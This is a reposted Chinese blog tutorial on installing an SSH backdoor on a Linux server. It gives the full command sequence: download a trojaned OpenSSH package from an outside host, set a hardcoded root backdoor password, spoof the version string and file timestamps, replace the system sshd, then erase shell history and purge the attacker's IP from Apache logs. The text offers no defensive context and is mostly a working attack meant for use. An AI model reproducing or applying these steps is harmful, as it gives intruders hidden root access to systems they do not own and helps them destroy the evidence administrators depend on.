LINUX 安装SSHBD后门

最新推荐文章于 2023-03-27 14:42:02 发布

转载最新推荐文章于 2023-03-27 14:42:02 发布 · 234 阅读

0 ·

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/mujj/articles/2264117.html

文章标签：

#运维 #操作系统

本文介绍了一种植入SSH后门的方法，包括备份原文件、下载并安装SSH后门、设置登录密码、编译安装等步骤，并提供了清除操作日志及Apache日志的方法。

老牌的SSH后门了，功能稳定

备份原文件：
1、mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
2、mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
3、下载并安装ssh后门：
shell-# wget http://www.down.com/sshbd.tgz
shell-# tar zxvf sshbd.tgz
shell-# cd openssh

4、设置ssh后门的登录密码：
vi versio.h
#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2

vi includes.h
define _SECRET_PASSWD "123456" -> 后门连接密码

5、编译安装：
shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh
shell-# make && make install
shell-# cp ssh_config sshd_config /etc/ssh/

修改文件时间:
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config

重启服务
shell-# /etc/init.d/sshd restart

6、登入后门：
ssh -l root IP
password：123456
echo >/root/.bash_history //清空操作日志

7、清除apache日志：
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i '/IP/d' access_log*

转载于:https://www.cnblogs.com/mujj/articles/2264117.html